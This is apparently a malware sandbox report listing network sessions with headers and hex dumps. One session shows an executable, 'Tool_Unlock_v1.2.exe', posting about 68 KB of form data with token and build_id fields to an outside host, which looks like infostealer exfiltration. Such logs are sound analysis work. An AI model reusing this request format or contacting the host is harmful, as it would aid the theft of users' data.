2024-12-29 04:45:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-29 04:45:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-29 04:45:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 29 Dec 2024 04:45:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f97243f6e7b4268-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 04:45:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49824	162.159.61.3	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-29 04:45:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-29 04:45:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 29 Dec 2024 04:45:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f97243f689e0f6b-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 04:45:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0b 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49819	142.250.181.65	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:36 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-29 04:45:37 UTC	570	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC7PLoMYs3lrWQxtAMsbW2RRcbhluEwTkbIQI7KAhFLN-Gsg7JtLyP_febTrhMExi2n3mCrtDu4 X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Sat, 28 Dec 2024 15:58:14 GMT Expires: Sun, 28 Dec 2025 15:58:14 GMT Cache-Control: public, max-age=31536000 Age: 46043 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-29 04:45:37 UTC	820	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-29 04:45:37 UTC	1390	IN	Data Raw: d5 b5 fc 3c 0f e3 f9 d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c Data Ascii: <Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rt
2024-12-29 04:45:37 UTC	1390	IN	Data Raw: b0 78 c3 9a 50 64 5d fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 Data Ascii: xPd]@uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[u
2024-12-29 04:45:37 UTC	1390	IN	Data Raw: d6 e1 6d c0 c8 18 51 ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 Data Ascii: mQVkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iG
2024-12-29 04:45:37 UTC	1390	IN	Data Raw: d9 c3 10 d6 1f b2 cd fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2024-12-29 04:45:37 UTC	1390	IN	Data Raw: 3b ad 00 5e b3 4e cb 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e Data Ascii: ;^Ns=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>
2024-12-29 04:45:37 UTC	1390	IN	Data Raw: 28 a5 20 e7 31 76 b4 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d Data Ascii: ( 1v=K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']
2024-12-29 04:45:37 UTC	1390	IN	Data Raw: 01 02 c0 b2 db c0 47 fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a Data Ascii: GfO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F
2024-12-29 04:45:37 UTC	1390	IN	Data Raw: 3f 08 3f f4 d3 de f8 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e Data Ascii: ??AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN
2024-12-29 04:45:37 UTC	1390	IN	Data Raw: 4f 0b c5 44 73 d4 f2 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 Data Ascii: ODsQNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49825	172.64.41.3	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-29 04:45:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49827	172.64.41.3	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-29 04:45:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetA)EA
2024-12-29 04:45:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 29 Dec 2024 04:45:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f9724448fa1434f-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 04:45:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 01 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 41 00 01 c0 0c 00 05 00 01 00 00 03 00 00 17 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 03 61 66 64 c0 1d c0 3c 00 05 00 01 00 00 0a 08 00 22 10 61 7a 75 72 65 65 64 67 65 2d 74 2d 70 72 6f 64 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 27 c0 5f 00 05 00 01 00 00 00 32 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 27 c0 ae 00 06 00 01 00 00 00 32 00 30 03 6e 73 31 c0 ae 06 6d 73 6e 68 73 74 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 78 3a 8c fd 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetAedgeassetserviceafd<"azureedge-t-prodtrafficmanager'_2,sheddual-lows-part-0012t-0009t-msedge'20ns1msnhstmicrosoftcomx:$<)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49846	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:38 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----4E3O8Q9HVKFUAAS00ZCJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 68733 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:38 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 45 33 4f 38 51 39 48 56 4b 46 55 41 41 53 30 30 5a 43 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 34 45 33 4f 38 51 39 48 56 4b 46 55 41 41 53 30 30 5a 43 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 34 45 33 4f 38 51 39 48 56 4b 46 55 41 41 53 30 30 5a 43 4a 0d 0a 43 6f 6e 74 Data Ascii: ------4E3O8Q9HVKFUAAS00ZCJContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------4E3O8Q9HVKFUAAS00ZCJContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------4E3O8Q9HVKFUAAS00ZCJCont
2024-12-29 04:45:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
